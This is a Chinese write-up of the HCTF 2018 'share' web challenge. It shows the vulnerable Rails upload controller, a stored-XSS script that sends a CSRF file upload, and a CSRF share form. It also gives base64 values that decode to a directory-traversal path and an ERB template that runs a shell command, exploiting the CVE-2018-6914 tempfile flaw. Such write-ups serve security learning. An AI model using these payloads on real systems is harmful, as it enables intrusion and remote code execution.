前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[HCTF] share write up

[HCTF] share write up

作者头像
安恒网络空间安全讲武堂
发布2018-12-13 11:36:50
1.7K0
发布2018-12-13 11:36:50
举报

step1:

从http://share.2018.hctf.io/robots.txt中获取到题目部分源码

代码语言:javascript
复制
class FileController < ApplicationController
  before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end

接着在代码中我们可以获取到

代码语言:javascript
复制
before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

这个controller的所有function都需要admin权限,且 uploadshare_people_tet是没有csrf token认证的。

step2:

在 http://share.2018.hctf.io/home/share 中存在一个提交表单,提交一段xss可以看到xss会被执行,但cookie开启了httponly。所以我们可以进行csrf upload来上传文件,之后再通过csrf获取上传后的文件名。

payload 如下:

代码语言:javascript
复制
<!-- csrf upload payload -->
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://share.2018.hctf.io/file/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarysWrrwCoy7FeMquna");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"file[context]\"\r\n" +
          "\r\n" +
          "aaaa" +
          "\r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvY3NyZi5lcmI=\"\r\n" +
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" +
          "PCU9IGBscyAuLi8uLi9gICU+\r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"commit\"\r\n" +
          "\r\n" +
          "submit  \r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
        submitRequest();
    </script>
代码语言:javascript
复制
<!-- csrf post payload -->
<form action="http://share.2018.hctf.io/file/Alpha_test" id="test" method="POST">
        <input type="text" name="uid"><br>
        <input type="text" name="fid">

    </form>
</body>
<script>
    var f=document.getElementById("test");
    f.getElementsByTagName("input")[0].value="2";
    f.getElementsByTagName("input")[1].value="3";
    f.submit();
</script>

step3:

hint 1和hint 2分别给出了views的目录结构和index.html.erb中的一段局部渲染代码。

代码语言:javascript
复制
hint1:
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
   `-- show.erb
hint2:
<%= render template: "home/"+params[:page] %>

从hint2可以明确(看到hint1其实可以猜测)的知道需要跨目录上传文件到app/views/home下,在ruby的官网也能看到CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir 且在upload中同样使用到了tempfile,尝试使用该漏洞进行跨目录上传恶意文件。

最后再csrf获取该文件名字,访问 http://share.2018.hctf.io/home/获得的filename,done!

ps: 这一题出的时间比较赶,没有思考好场景怎么造比较好,所以这道题存在被偷鸡的方式,且中途由于bot没写好容易挂的原因给各位师傅造成不便,有点抱歉。最后谢谢做我题目的师傅,都是好人呐QAQ

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • step1:
    • step2:
      • step3:
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档